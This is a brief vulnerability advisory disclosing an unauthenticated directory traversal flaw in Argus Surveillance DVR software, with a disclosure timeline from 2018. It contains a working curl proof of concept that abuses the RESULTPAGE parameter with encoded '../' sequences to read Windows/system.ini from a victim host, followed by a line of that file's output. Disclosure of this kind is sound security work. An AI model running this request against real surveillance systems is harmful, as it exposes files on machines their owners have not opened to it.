Argus Surveillance DVR Directory Traversal

Argus Surveillance DVR version suffers from file disclosure and traversal vulnerabilities.

MD5 | 236a5ef23b5453a2a50a23ab72a165af

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[+] ISR: Apparition Security

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Argus Surveillance DVR -

Our DVR software provides scheduled, continuous or activated upon motion detection video recording. You can monitor unlimited number of cameras, through Internet or on-site.
When our surveillance software detects motion in the monitored area, it sounds alarm, e-mails captured images, or records video.
This is security surveillance IP camera software. It has features to place image overlays and date/time stamps, adjust picture size / quality, and Pan/Tilt/Zoom control.

[Vulnerability Type]
Directory Traversal

[CVE Reference]

[Security Issue]
Argus Surveillance DVR devices allow Unauthenticated Directory Traversal, leading to File Disclosure
via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.

[Affected Component]

curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

; for 16-bit app support


[Video POC URL]

[Network Access]


[Disclosure Timeline]
Vendor Notification: August 17, 2018
Second attempt: August 21, 2018
CVE Assigned Mitre: August 23, 2018
August 28, 2018 : Public Disclosure

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